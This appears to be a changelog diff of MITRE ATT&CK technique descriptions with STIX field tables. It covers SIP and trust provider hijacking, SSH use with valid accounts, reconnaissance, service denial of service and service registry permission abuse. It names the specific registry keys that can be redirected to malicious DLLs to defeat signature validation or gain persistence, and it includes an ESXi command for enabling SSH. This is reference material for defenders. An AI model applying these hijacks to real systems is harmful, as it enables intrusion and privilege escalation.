| > | aphy\Providers\Trust\FinalPolicy\{trust provider GUID}</code | > | ers\Trust\FinalPolicy\{trust provider GUID}</code> that poin | ||
| > | > that point to the DLL providing a trust provider’s FinalPo | > | t to the DLL providing a trust provider’s FinalPolicy functi | ||
| > | licy function, which is where the decoded and parsed signatu | > | on, which is where the decoded and parsed signature is check | ||
| > | re is checked and the majority of trust decisions are made. | > | ed and the majority of trust decisions are made. Similar to | ||
| > | Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData fun | > | hijacking SIP’s CryptSIPDllVerifyIndirectData function, this | ||
| > | ction, this value can be redirected to a suitable exported f | > | value can be redirected to a suitable exported function fro | ||
| > | unction from an already present DLL or a maliciously-crafted | > | m an already present DLL or a maliciously-crafted DLL (thoug | ||
| > | DLL (though the implementation of a trust provider is compl | > | h the implementation of a trust provider is complex). * **No | ||
| > | ex). * **Note:** The above hijacks are also possible without | > | te:** The above hijacks are also possible without modifying | ||
| > | modifying the Registry via [DLL](https://attack.mitre.org/t | > | the Registry via [DLL](https://attack.mitre.org/techniques/T | ||
| > | echniques/T1574/001) search order hijacking. Hijacking SIP | > | 1574/001) search order hijacking. Hijacking SIP or trust pr | ||
| > | or trust provider components can also enable persistent code | > | ovider components can also enable persistent code execution, | ||
| > | execution, since these malicious components may be invoked | > | since these malicious components may be invoked by any appl | ||
| > | by any application that performs code signing or signature v | > | ication that performs code signing or signature validation.( | ||
| > | alidation. (Citation: SpectorOps Subverting Trust Sept 2017) | > | Citation: SpectorOps Subverting Trust Sept 2017) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.633000+00:00 | 2026-11-04 00:57:27.686000+00:00 |
| description | Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode (Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function, (Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature. (Citation: SpectorOps Subverting Trust Sept 2017)
Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs) (Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all (Citation: Microsoft Catalog Files and Signatures April 2017)) and are identified by globally unique identifiers (GUIDs). (Citation: SpectorOps Subverting Trust Sept 2017)
Similar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by: (Citation: SpectorOps Subverting Trust Sept 2017)
* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP (Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP (Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
* Modifying the DLL and Function Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
* **Note:** The above hijacks are also possible without modifying the Registry via [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.
Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation. (Citation: SpectorOps Subverting Trust Sept 2017) | Adversaries may tamper with SIP and trust provider components to mislead the operating system and application control tools when conducting signature validation checks. In user mode, Windows Authenticode(Citation: Microsoft Authenticode) digital signatures are used to verify a file's origin and integrity, variables that may be used to establish trust in signed code (ex: a driver with a valid Microsoft signature may be handled as safe). The signature validation process is handled via the WinVerifyTrust application programming interface (API) function,(Citation: Microsoft WinVerifyTrust) which accepts an inquiry and coordinates with the appropriate trust provider, which is responsible for validating parameters of a signature.(Citation: SpectorOps Subverting Trust Sept 2017)
Because of the varying executable file types and corresponding signature formats, Microsoft created software components called Subject Interface Packages (SIPs)(Citation: EduardosBlog SIPs July 2008) to provide a layer of abstraction between API functions and files. SIPs are responsible for enabling API functions to create, retrieve, calculate, and verify signatures. Unique SIPs exist for most file formats (Executable, PowerShell, Installer, etc., with catalog signing providing a catch-all)(Citation: Microsoft Catalog Files and Signatures April 2017) and are identified by globally unique identifiers (GUIDs).(Citation: SpectorOps Subverting Trust Sept 2017)
Similar to [Code Signing](https://attack.mitre.org/techniques/T1553/002), adversaries may abuse this architecture to subvert trust controls and bypass security policies that allow only legitimately signed code to execute on a system. Adversaries may hijack SIP and trust provider components to mislead operating system and application control tools to classify malicious (or any) code as signed by:(Citation: SpectorOps Subverting Trust Sept 2017)
* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE[\WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\{SIP_GUID} that point to the dynamic link library (DLL) providing a SIP’s CryptSIPDllGetSignedDataMsg function, which retrieves an encoded digital certificate from a signed file. By pointing to a maliciously-crafted DLL with an exported function that always returns a known good signature value (ex: a Microsoft signature for Portable Executables) rather than the file’s real signature, an adversary can apply an acceptable signature value to all files using that SIP(Citation: GitHub SIP POC Sept 2017) (although a hash mismatch will likely occur, invalidating the signature, since the hash returned by the function will not match the value computed from the file).
* Modifying the Dll and FuncName Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData\{SIP_GUID} that point to the DLL providing a SIP’s CryptSIPDllVerifyIndirectData function, which validates a file’s computed hash against the signed hash value. By pointing to a maliciously-crafted DLL with an exported function that always returns TRUE (indicating that the validation was successful), an adversary can successfully validate any file (with a legitimate signature) using that SIP(Citation: GitHub SIP POC Sept 2017) (with or without hijacking the previously mentioned CryptSIPDllGetSignedDataMsg function). This Registry value could also be redirected to a suitable exported function from an already present DLL, avoiding the requirement to drop and execute a new file on disk.
* Modifying the DLL and Function Registry values in HKLM\SOFTWARE\[WOW6432Node\]Microsoft\Cryptography\Providers\Trust\FinalPolicy\{trust provider GUID} that point to the DLL providing a trust provider’s FinalPolicy function, which is where the decoded and parsed signature is checked and the majority of trust decisions are made. Similar to hijacking SIP’s CryptSIPDllVerifyIndirectData function, this value can be redirected to a suitable exported function from an already present DLL or a maliciously-crafted DLL (though the implementation of a trust provider is complex).
* **Note:** The above hijacks are also possible without modifying the Registry via [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking.
Hijacking SIP or trust provider components can also enable persistent code execution, since these malicious components may be invoked by any application that performs code signing or signature validation.(Citation: SpectorOps Subverting Trust Sept 2017) |
Current version: 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or | t | 1 | Adversaries may use [Valid Accounts](https://attack.mitre.or |
| > | g/techniques/T1078) to log into remote machines using Secure | > | g/techniques/T1078) to log into remote machines using Secure | ||
| > | Shell (SSH). The adversary may then perform actions as the | > | Shell (SSH). The adversary may then perform actions as the | ||
| > | logged-on user. SSH is a protocol that allows authorized us | > | logged-on user. SSH is a protocol that allows authorized us | ||
| > | ers to open remote shells on other computers. Many Linux and | > | ers to open remote shells on other computers. Many Linux and | ||
| > | macOS versions come with SSH installed by default, although | > | macOS versions come with SSH installed by default, although | ||
| > | typically disabled until the user enables it. On ESXi, SSH | > | typically disabled until the user enables it. On ESXi, SSH | ||
| > | can be enabled either directly on the host (e.g., via `vim-c | > | can be enabled either directly on the host (e.g., via `vim-c | ||
| > | md hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESX | > | md hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESX | ||
| > | i Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Cit | > | i Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Cit | ||
| > | ation: Sygnia Abyss Locker 2025) Modern versions of Windows | > | ation: Sygnia Abyss Locker 2025) Modern versions of Windows | ||
| > | include a built-in SSH server and client.(Citation: Windows | > | include a built-in SSH server and client.(Citation: Windows | ||
| > | SSH) The SSH server can be configured to use standard passwo | > | SSH) The SSH server can be configured to use standard passwo | ||
| > | rd authentication or public-private keypairs in lieu of or i | > | rd authentication or public-private keypairs in lieu of or i | ||
| > | n addition to a password. In this authentication scenario, t | > | n addition to a password. In this authentication scenario, t | ||
| > | he user’s public key must be in a special file on the comput | > | he user’s public key must be in a special file on the comput | ||
| > | er running the server that lists which keypairs are allowed | > | er running the server that lists which keypairs are allowed | ||
| > | to login as that user (i.e., [SSH Authorized Keys](https://a | > | to log in as that user (i.e., [SSH Authorized Keys](https:// | ||
| > | ttack.mitre.org/techniques/T1098/004)). | > | attack.mitre.org/techniques/T1098/004)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-09-18 02:23:13.647000+00:00 | 2026-11-03 21:45:52.425000+00:00 |
| description | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user. SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESXi Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Citation: Sygnia Abyss Locker 2025) Modern versions of Windows include a built-in SSH server and client.(Citation: Windows SSH) The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to login as that user (i.e., [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)). | Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to log into remote machines using Secure Shell (SSH). The adversary may then perform actions as the logged-on user. SSH is a protocol that allows authorized users to open remote shells on other computers. Many Linux and macOS versions come with SSH installed by default, although typically disabled until the user enables it. On ESXi, SSH can be enabled either directly on the host (e.g., via `vim-cmd hostsvc/enable_ssh`) or via vCenter.(Citation: Sygnia ESXi Ransomware 2025)(Citation: TrendMicro ESXI Ransomware)(Citation: Sygnia Abyss Locker 2025) Modern versions of Windows include a built-in SSH server and client.(Citation: Windows SSH) The SSH server can be configured to use standard password authentication or public-private keypairs in lieu of or in addition to a password. In this authentication scenario, the user’s public key must be in a special file on the computer running the server that lists which keypairs are allowed to log in as that user (i.e., [SSH Authorized Keys](https://attack.mitre.org/techniques/T1098/004)). |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use search engines to collect information ab | t | 1 | Adversaries may use search engines to collect information ab |
| > | out victims that can be used during targeting. Search engine | > | out victims that can be used during targeting. Search engine | ||
| > | services typical crawl online sites to index context and ma | > | services typically crawl online sites to index content and | ||
| > | y provide users with specialized syntax to search for specif | > | may provide users with specialized syntax to search for spec | ||
| > | ic keywords or specific types of content (i.e. filetypes).(C | > | ific keywords or specific types of content (i.e. filetypes). | ||
| > | itation: SecurityTrails Google Hacking)(Citation: ExploitDB | > | (Citation: SecurityTrails Google Hacking)(Citation: ExploitD | ||
| > | GoogleHacking) Adversaries may craft various search engine | > | B GoogleHacking) Adversaries may craft various search engin | ||
| > | queries depending on what information they seek to gather. T | > | e queries depending on what information they seek to gather. | ||
| > | hreat actors may use search engines to harvest general infor | > | Threat actors may use search engines to harvest general inf | ||
| > | mation about victims, as well as use specialized queries to | > | ormation about victims, as well as use specialized queries t | ||
| > | look for spillages/leaks of sensitive information such as ne | > | o look for spillages/leaks of sensitive information such as | ||
| > | twork details or credentials. Information from these sources | > | network details or credentials. Information from these sourc | ||
| > | may reveal opportunities for other forms of reconnaissance | > | es may reveal opportunities for other forms of reconnaissanc | ||
| > | (ex: [Phishing for Information](https://attack.mitre.org/tec | > | e (ex: [Phishing for Information](https://attack.mitre.org/t | ||
| > | hniques/T1598) or [Search Open Technical Databases](https:// | > | echniques/T1598) or [Search Open Technical Databases](https: | ||
| > | attack.mitre.org/techniques/T1596)), establishing operationa | > | //attack.mitre.org/techniques/T1596)), establishing operatio | ||
| > | l resources (ex: [Establish Accounts](https://attack.mitre.o | > | nal resources (ex: [Establish Accounts](https://attack.mitre | ||
| > | rg/techniques/T1585) or [Compromise Accounts](https://attack | > | .org/techniques/T1585) or [Compromise Accounts](https://atta | ||
| > | .mitre.org/techniques/T1586)), and/or initial access (ex: [V | > | ck.mitre.org/techniques/T1586)), and/or initial access (ex: | ||
| > | alid Accounts](https://attack.mitre.org/techniques/T1078) or | > | [Valid Accounts](https://attack.mitre.org/techniques/T1078) | ||
| > | [Phishing](https://attack.mitre.org/techniques/T1566)). | > | or [Phishing](https://attack.mitre.org/techniques/T1566)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:55.709000+00:00 | 2026-11-04 00:04:48.138000+00:00 |
| description | Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typically crawl online sites to index content and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes).(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Valid Accounts](https://attack.mitre.org/techniques/T1078) or [Phishing](https://attack.mitre.org/techniques/T1566)). |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may search freely available websites and/or doma | t | 1 | Adversaries may search freely available websites and/or doma |
| > | ins for information about victims that can be used during ta | > | ins for information about victims that can be used during ta | ||
| > | rgeting. Information about victims may be available in vario | > | rgeting. Information about victims may be available in vario | ||
| > | us online sites, such as social media, new sites, or those h | > | us online sites, such as social media, news sites, or those | ||
| > | osting information about business operations such as hiring | > | hosting information about business operations such as hiring | ||
| > | or requested/rewarded contracts.(Citation: Cyware Social Med | > | or requested/rewarded contracts.(Citation: Cyware Social Me | ||
| > | ia)(Citation: SecurityTrails Google Hacking)(Citation: Explo | > | dia)(Citation: SecurityTrails Google Hacking)(Citation: Expl | ||
| > | itDB GoogleHacking) Adversaries may search in different onl | > | oitDB GoogleHacking) Adversaries may search in different on | ||
| > | ine sites depending on what information they seek to gather. | > | line sites depending on what information they seek to gather | ||
| > | Information from these sources may reveal opportunities for | > | . Information from these sources may reveal opportunities fo | ||
| > | other forms of reconnaissance (ex: [Phishing for Informatio | > | r other forms of reconnaissance (ex: [Phishing for Informati | ||
| > | n](https://attack.mitre.org/techniques/T1598) or [Search Ope | > | on](https://attack.mitre.org/techniques/T1598) or [Search Op | ||
| > | n Technical Databases](https://attack.mitre.org/techniques/T | > | en Technical Databases](https://attack.mitre.org/techniques/ | ||
| > | 1596)), establishing operational resources (ex: [Establish A | > | T1596)), establishing operational resources (ex: [Establish | ||
| > | ccounts](https://attack.mitre.org/techniques/T1585) or [Comp | > | Accounts](https://attack.mitre.org/techniques/T1585) or [Com | ||
| > | romise Accounts](https://attack.mitre.org/techniques/T1586)) | > | promise Accounts](https://attack.mitre.org/techniques/T1586) | ||
| > | , and/or initial access (ex: [External Remote Services](http | > | ), and/or initial access (ex: [External Remote Services](htt | ||
| > | s://attack.mitre.org/techniques/T1133) or [Phishing](https:/ | > | ps://attack.mitre.org/techniques/T1133) or [Phishing](https: | ||
| > | /attack.mitre.org/techniques/T1566)). | > | //attack.mitre.org/techniques/T1566)). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.706000+00:00 | 2026-11-04 00:07:31.729000+00:00 |
| description | Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, new sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)). | Adversaries may search freely available websites and/or domains for information about victims that can be used during targeting. Information about victims may be available in various online sites, such as social media, news sites, or those hosting information about business operations such as hiring or requested/rewarded contracts.(Citation: Cyware Social Media)(Citation: SecurityTrails Google Hacking)(Citation: ExploitDB GoogleHacking) Adversaries may search in different online sites depending on what information they seek to gather. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Phishing](https://attack.mitre.org/techniques/T1566)). |
Current version: 1.4
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may target the different network services provid | t | 1 | Adversaries may target the different network services provid |
| > | ed by systems to conduct a denial of service (DoS). Adversar | > | ed by systems to conduct a denial of service (DoS). Adversar | ||
| > | ies often target the availability of DNS and web services, h | > | ies often target the availability of DNS and web services; h | ||
| > | owever others have been targeted as well.(Citation: Arbor An | > | owever, others have been targeted as well.(Citation: Arbor A | ||
| > | nualDoSreport Jan 2018) Web server software can be attacked | > | nnualDoSreport Jan 2018) Web server software can be attacked | ||
| > | through a variety of means, some of which apply generally wh | > | through a variety of means, some of which apply generally w | ||
| > | ile others are specific to the software being used to provid | > | hile others are specific to the software being used to provi | ||
| > | e the service. One example of this type of attack is known | > | de the service. One example of this type of attack is known | ||
| > | as a simple HTTP flood, where an adversary sends a large num | > | as a simple HTTP flood, where an adversary sends a large nu | ||
| > | ber of HTTP requests to a web server to overwhelm it and/or | > | mber of HTTP requests to a web server to overwhelm it and/or | ||
| > | an application that runs on top of it. This flood relies on | > | an application that runs on top of it. This flood relies on | ||
| > | raw volume to accomplish the objective, exhausting any of th | > | raw volume to accomplish the objective, exhausting any of t | ||
| > | e various resources required by the victim software to provi | > | he various resources required by the victim software to prov | ||
| > | de the service.(Citation: Cloudflare HTTPflood) Another var | > | ide the service.(Citation: Cloudflare HTTPflood) Another va | ||
| > | iation, known as a SSL renegotiation attack, takes advantage | > | riation, known as an SSL renegotiation attack, takes advanta | ||
| > | of a protocol feature in SSL/TLS. The SSL/TLS protocol suit | > | ge of a protocol feature in SSL/TLS. The SSL/TLS protocol su | ||
| > | e includes mechanisms for the client and server to agree on | > | ite includes mechanisms for the client and server to agree o | ||
| > | an encryption algorithm to use for subsequent secure connect | > | n an encryption algorithm to use for subsequent secure conne | ||
| > | ions. If SSL renegotiation is enabled, a request can be made | > | ctions. If SSL renegotiation is enabled, a request can be ma | ||
| > | for renegotiation of the crypto algorithm. In a renegotiati | > | de for renegotiation of the crypto algorithm. In a renegotia | ||
| > | on attack, the adversary establishes a SSL/TLS connection an | > | tion attack, the adversary establishes an SSL/TLS connection | ||
| > | d then proceeds to make a series of renegotiation requests. | > | and then proceeds to make a series of renegotiation request | ||
| > | Because the cryptographic renegotiation has a meaningful cos | > | s. Because the cryptographic renegotiation has a meaningful | ||
| > | t in computation cycles, this can cause an impact to the ava | > | cost in computation cycles, this can cause an impact to the | ||
| > | ilability of the service when done in volume.(Citation: Arbo | > | availability of the service when done in volume.(Citation: A | ||
| > | r SSLDoS April 2012) | > | rbor SSLDoS April 2012) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:39.609000+00:00 | 2026-11-04 00:01:51.661000+00:00 |
| description | Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services, however others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service. One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood) Another variation, known as a SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes a SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012) | Adversaries may target the different network services provided by systems to conduct a denial of service (DoS). Adversaries often target the availability of DNS and web services; however, others have been targeted as well.(Citation: Arbor AnnualDoSreport Jan 2018) Web server software can be attacked through a variety of means, some of which apply generally while others are specific to the software being used to provide the service. One example of this type of attack is known as a simple HTTP flood, where an adversary sends a large number of HTTP requests to a web server to overwhelm it and/or an application that runs on top of it. This flood relies on raw volume to accomplish the objective, exhausting any of the various resources required by the victim software to provide the service.(Citation: Cloudflare HTTPflood) Another variation, known as an SSL renegotiation attack, takes advantage of a protocol feature in SSL/TLS. The SSL/TLS protocol suite includes mechanisms for the client and server to agree on an encryption algorithm to use for subsequent secure connections. If SSL renegotiation is enabled, a request can be made for renegotiation of the crypto algorithm. In a renegotiation attack, the adversary establishes an SSL/TLS connection and then proceeds to make a series of renegotiation requests. Because the cryptographic renegotiation has a meaningful cost in computation cycles, this can cause an impact to the availability of the service when done in volume.(Citation: Arbor SSLDoS April 2012) |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'Cisco DoSdetectNetflow', 'description': 'Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.', 'url': 'https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf'} |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may execute their own malicious payloads by hija | t | 1 | Adversaries may execute their own malicious payloads by hija |
| > | cking the Registry entries used by services. Flaws in the pe | > | cking the Registry entries used by services. Flaws in the pe | ||
| > | rmissions for Registry keys related to services can allow ad | > | rmissions for Registry keys related to services can allow ad | ||
| > | versaries to redirect the originally specified executable to | > | versaries to redirect the originally specified executable to | ||
| > | one they control, launching their own code when a service s | > | one they control, launching their own code when a service s | ||
| > | tarts. Windows stores local service configuration informatio | > | tarts. Windows stores local service configuration informatio | ||
| > | n in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\ | > | n in the Registry under <code>HKLM\SYSTEM\CurrentControlSet\ | ||
| > | Services</code>. The information stored under a service's Re | > | Services</code>. The information stored under a service's Re | ||
| > | gistry keys can be manipulated to modify a service's executi | > | gistry keys can be manipulated to modify a service's executi | ||
| > | on parameters through tools such as the service controller, | > | on parameters through tools such as the service controller, | ||
| > | sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1 | > | sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1 | ||
| > | 059/001), or [Reg](https://attack.mitre.org/software/S0075). | > | 059/001), or [Reg](https://attack.mitre.org/software/S0075). | ||
| > | Access to Registry keys is controlled through access contro | > | Access to Registry keys is controlled through access contro | ||
| > | l lists and user permissions. (Citation: Registry Key Securi | > | l lists and user permissions.(Citation: Registry Key Securit | ||
| > | ty)(Citation: malware_hides_service) If the permissions for | > | y)(Citation: malware_hides_service) If the permissions for | ||
| > | users and groups are not properly set and allow access to t | > | users and groups are not properly set and allow access to th | ||
| > | he Registry keys for a service, adversaries may change the s | > | e Registry keys for a service, adversaries may change the se | ||
| > | ervice's binPath/ImagePath to point to a different executabl | > | rvice's binPath/ImagePath to point to a different executable | ||
| > | e under their control. When the service starts or is restart | > | under their control. When the service starts or is restarte | ||
| > | ed, the adversary-controlled program will execute, allowing | > | d, the adversary-controlled program will execute, allowing t | ||
| > | the adversary to establish persistence and/or privilege esca | > | he adversary to establish persistence and/or privilege escal | ||
| > | lation to the account context the service is set to execute | > | ation to the account context the service is set to execute u | ||
| > | under (local/domain account, SYSTEM, LocalService, or Networ | > | nder (local/domain account, SYSTEM, LocalService, or Network | ||
| > | kService). Adversaries may also alter other Registry keys i | > | Service). Adversaries may also alter other Registry keys in | ||
| > | n the service’s Registry tree. For example, the <code>Failur | > | the service’s Registry tree. For example, the <code>Failure | ||
| > | eCommand</code> key may be changed so that the service is ex | > | Command</code> key may be changed so that the service is exe | ||
| > | ecuted in an elevated context anytime the service fails or i | > | cuted in an elevated context anytime the service fails or is | ||
| > | s intentionally corrupted.(Citation: Kansa Service related c | > | intentionally corrupted.(Citation: Kansa Service related co | ||
| > | ollectors)(Citation: Tweet Registry Perms Weakness) The <co | > | llectors)(Citation: Tweet Registry Perms Weakness) The <cod | ||
| > | de>Performance</code> key contains the name of a driver serv | > | e>Performance</code> key contains the name of a driver servi | ||
| > | ice's performance DLL and the names of several exported func | > | ce's performance DLL and the names of several exported funct | ||
| > | tions in the DLL.(Citation: microsoft_services_registry_tree | > | ions in the DLL.(Citation: microsoft_services_registry_tree) | ||
| > | ) If the <code>Performance</code> key is not already present | > | If the <code>Performance</code> key is not already present | ||
| > | and if an adversary-controlled user has the <code>Create Su | > | and if an adversary-controlled user has the <code>Create Sub | ||
| > | bkey</code> permission, adversaries may create the <code>Per | > | key</code> permission, adversaries may create the <code>Perf | ||
| > | formance</code> key in the service’s Registry tree to point | > | ormance</code> key in the service’s Registry tree to point t | ||
| > | to a malicious DLL.(Citation: insecure_reg_perms) Adversari | > | o a malicious DLL.(Citation: insecure_reg_perms) Adversarie | ||
| > | es may also add the <code>Parameters</code> key, which can r | > | s may also add the <code>Parameters</code> key, which can re | ||
| > | eference malicious drivers file paths. This technique has be | > | ference malicious drivers file paths. This technique has bee | ||
| > | en identified to be a method of abuse by configuring DLL fil | > | n identified to be a method of abuse by configuring DLL file | ||
| > | e paths within the <code>Parameters</code> key of a given se | > | paths within the <code>Parameters</code> key of a given ser | ||
| > | rvices registry configuration. By placing and configuring th | > | vices registry configuration. By placing and configuring the | ||
| > | e <code>Parameters</code> key to reference a malicious DLL, | > | <code>Parameters</code> key to reference a malicious DLL, a | ||
| > | adversaries can ensure that their code is loaded persistentl | > | dversaries can ensure that their code is loaded persistently | ||
| > | y whenever the associated service or library is invoked. Fo | > | whenever the associated service or library is invoked. For | ||
| > | r example, the registry path(Citation: MDSec) <code>HKEY_LOC | > | example, the registry path(Citation: MDSec) <code>HKEY_LOCA | ||
